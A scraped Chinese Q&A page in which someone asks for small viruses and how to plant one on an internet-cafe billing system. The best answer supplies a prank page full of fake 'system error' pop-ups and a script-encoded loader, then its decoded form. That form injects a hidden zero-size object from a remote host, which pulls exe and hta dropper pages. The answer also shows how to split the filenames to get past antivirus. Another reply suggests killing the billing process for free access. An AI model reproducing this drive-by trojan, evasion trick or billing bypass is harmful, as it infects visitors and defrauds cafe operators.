永发信息网

本人求一些小病毒。在说下，怎么和万象上挂病毒。请高手指点。。来个说明白点的。。。谢谢

答案:3  悬赏:70  手机版
解决时间 2021-04-12 18:39
本人求一些小病毒。在说下，怎么和万象上挂病毒。请高手指点。。来个说明白点的。。。谢谢
最佳答案


<head><meta content="text/html; charset=gb2312" http-equiv=Content-Type><meta content="Microsoft FrontPage 4.0" name=GENERATOR><LINK href="../../images/main.css" rel=stylesheet><title>整人</title>
<style fprolloverstyle>A:hover {color: #FF0000}
</style>
<script language=javascript>
step=0
function flash_title()
{
step++
if (step==3) {step=1}
if (step==1) {document.title='☆★<a href=' http://kev.369.com' target=_blank> http://kev.369.com</a>☆★→<a href=' http://kev.369.com' target=_blank> http://kev.369.com</a> '}
if (step==2) {document.title='★☆<a href=' http://kev.369.com' target=_blank> http://kev.369.com</a>★☆→<a href=' http://kev.369.com' target=_blank> http://kev.369.com</a> '}
setTimeout("flash_title()",200);
}
flash_title() </script>
<script LANGUAGE="javascript">
<!--
vers = navigator.appVersion;
vers = parseFloat(vers.substring(vers.lastIndexOf(".")-1,vers.length));
var c=1;
defaultStatus="<a href=' http://kev.369.com' target=_blank> http://kev.369.com</a> ; 如果你喜欢本站,别忘了把本站的网址告诉给你QQ上的朋友哦!谢谢您！"
function bookmark() {
window.external.AddFavorite('<a href=' http://kev.369.com'' target=_blank> http://kev.369.com'</a>, '我爱你');
}
//-->
</script>
</HEAD>
<BODY bgcolor="#CCFFCC" text="#006600" link="#0000FF" vlink="#0000FF" alink="#0000FF">
<script language=javascript><!--// Hide the javascript from older browsers (window.alert(" 18岁以下禁止进入,请按确定")) // End hiding of script // --></script> <script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script> <script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script> <script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script> ……
（中间省略N多象上面一样的弹出窗口废话）
…… <script language=javascript>
<!-- Hide the javascript from older browsers
(window.alert("因为你还有可能碰到类似的网页喔!"))
// End hiding of script -->
</script> <script language=javascript><!--
// Hide the javascript from older browsers
(window.alert("你仔细想一想...不觉得有趣吗??"))
// End hiding of script
// --></script> <script language=javascript><!--
// Hide the javascript from older browsers
(window.alert("好吧~我对不起你~你生命可以继续啦!!"))
// End hiding of script
// --></script>
<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="750">
<tr>
<td height="20"></td>
<td height="20"></td>
<td height="20">
<p></td>
<td height="20"></td>
</tr>
<tr>
<td width="9%"></td>
<td width="41%"></td>
<td width="43%">
<p align="right"><font color="#339966"> <b><<< </b><script language="javascript" src="../../favor.js"></script></font><b><font color="#339966">>>> </font></b></td>
<td width="7%"></td>
</tr>
<tr>
<td width="100%" colspan="4">
<p align="center"><font size="6">哈哈，过瘾吧？</font> </p>
<P align=center><FONT color=#339966 face=Wingdings
size=7>ABCDEFGHIMN<BR>&*(</FONT></P>
<p align="center"><font size="4" face="Arial"><b>HeHe......Just a joke!</b></font></p>
<p align="center"><font size="4" face="Arial"><b>Have FUN......</b></font></p>
<p align="center">　</td>
</tr>
</table>
</center>
</div>
</BODY>
哇好多弹出窗口啊？其实后面你就知道了，这其实不过是让他给你种木马争取时间：）黑吧！！
上面的代码其实有一小段代码十分可疑！应该大家也注意了。就是： <script language="Jscript.Encode">#@~^8gAAAA==@#@&@!Z O,@#@&7lM~KD[/{JYf;W4NnmDPNmOC]2fu +tOOa]fbJ&tK:n bYN.2cmG:JV\%Hzs:R4Yss]y ~hkL4D]>PSkND4Y&GPZ]f2Yf;zG4NnmD]f3r@&0;U1YrW ~U+Og+SWMNkc#@& -lMPHnSWM[/p1+S GD9/{EU+d^mwn`qGD9/bI9Wm;hxORS.bYnv1hKD9d#p8@&?YHnSWM[/v#i@&&&P ［/QUOTE">O@*@&IUsAAA==^#~@<／script>
很明显代码被微软的脚本编码器( SCRENC.EXE )加密过！简单介绍一下，微软的脚本编码器( SCRENC.EXE )是微软提供的可以对ASP脚本源码进行编码加密的一个工具。应用开发商通过使用这个工具，达到 Web 主机和 Web 客户不能查看或修改它们的源代码。具体信息可以查看中国暗域网络相关技术文章，这里就不说废话了！现在开始解密……
把秘密议文拷贝到一个TXT文件中，重命名为source.txt。然后找到ZwdEcode所在的目录，输入
D:\Tools>zwdecode
Decoder for Microsoft script v6.2
?2001 MrZhengwei , <a href="mailto:zhengei@263.net">zhengei@263.net</a> TEL:013001865430
Home page: <a href=' http://www.zhengwei.net/prg/zwdecode.htm' target=_blank> http://www.zhengwei.net/prg/zwdecode.htm ; Usage: zwdecode <infile> <outfile> zwdecode source.txt hackway.txt
软件zwdecode下载地址：中国暗域网络技术下载系统
现在去同目录下看，可以找到hackway.txt，其中就是解密后的明文。使用ZWD轻易破解后的明文如下：
<script language="Jscript.Encode">
<!--
var Words="%3Cobject data%3D%22http%3A//home.itdrp.com/kevjy/mm.html%22 weight%3D0 width%3D 0%3E%3C/object%3E"
function SetNewWords()
{var NewWords;NewWords=unescape(Words);document.write(NewWords);}
SetNewWords();
// -->
</script>

看见了破解后的明文，可以分析这里是个重点
http%3A//home.itdrp.com/kevjy/mm.html
%3A是编码后的内容，翻译过来就是t。那么我们现在清楚了，原来开始的时候还插入了一个mm.html页！
好！再去这里看看： http://home.itdrp.com/kevjy/mm.html
竟然是张白页？晕……而且无法查看源代码，点了“查看源文件”竟然没反应，连输入view-source都不可以，只好把它强行下载回来研究了。
一下回来竟然被杀毒软件杀掉了，看来这个页面最有问题了。关闭杀毒软件时实监控，再下一次。
OK！现在我们可以看见mm.html的内容如下：
前面的代码是这样的（被杀毒软件认成病毒的就是这里了，后面的无毒就不说了，我懒……）：
<html>
<body>
<object data="lhxyexe.asp" weight=0 width= 0 height="14"></object>
<object data="lhxyhta.asp" weight=0 width= 0 height="14"></object>
<object data="20cn.asp" weight=0 width= 0 height="14"></object>
<object data="qqkev.asp" weight=0 width= 0 height="14"></object>
<object data="lhxyexe1.asp" weight=0 width= 0 height="14"></object>
<object data="lhxyhta1.asp" weight=0 width= 0 height="14"></object>
<object data="i"+"e.asp" weight=0 width= 0 height="14"></object>
</body>
</html>
（以上的代码会被杀毒软件认成病毒，如果想保存此文章，请把上面的代码转换成下面的代码，书写方式变化而已） <html>
<body>
<object data="lhxy"+"exe.asp" weight=0 width= 0 height="14"></object>
<object data="lhxy"+"hta.asp" weight=0 width= 0 height="14"></object>
<object data="20"+"cn.asp" weight=0 width= 0 height="14"></object>
<object data="qqk"+"ev.asp" weight=0 width= 0 height="14"></object>
<object data="lhx"+"yexe1.asp" weight=0 width= 0 height="14"></object>
<object data="lhxy"+"hta1.asp" weight=0 width= 0 height="14"></object>
<object data="i"+"e.asp" weight=0 width= 0 height="14"></object>
</body>
</html>


_____________________________________________


本病毒使用javascrip编译仅供测试使用请勿做违法之事，发生严重后果本人概不负责

全部回答

你是不是要免费上网？

是的话我可以帮助你噢，

结束万象活动进程。这样就免费了，，

厉害 发着么多
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！
大家都在看
有关遗产继承
从石家庄到驼梁怎么走,长治到石家庄每天几躺
在C#中如何在子窗口中调用父窗口的控件？
我现在刚买了房子在江西省宜春市，房子是按揭
为什么我的188号码不能打视频电话
莆田文甲轮渡站怎么去啊，有知道地址的么
用zuo拼音组30有关zuo字拼音的词
为什么我穿亚瑟士nimbus19脚腕会不舒服
感谢生命有你出现句子,关于生命的价值的名言
电子琴功能不一定要多，音质一定要好的，有哪
甲流疫苗接种后抵抗力会下降吗
生物的多样性听后感 心得体会 昆明市工人新村
单选题下列反应所得溶液中一定只含一种溶质的
呼伦贝尔市海拉尔国土资源监察大队在什么地方
情感面对面2016天津台,30年的婚姻为何轻易放
推荐资讯
求S.H.E2009香港演唱会的视频或下载，越高清
什么音乐手机好？
海南老城开发区的花园小区开发情况？
广州到深圳罗湖应到那个火车站乘坐
饹怎么读
西湖龙井、洞庭碧螺春、安吉白茶、太平猴魁、
分解因式（b2+a2-c2）2-4a2b2
win7旗舰版 关联文件扩展名的地方在哪？
13班班徽设计
膝盖那有一条筋 抬腿的时候会一格一格怎么回
PLUS啥意思
QQ空间抢车位举报
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ？

网站首页 | 关于我们 | 网站留言
联系永发信息网
Copyright © 2025 永发信息网 版权所有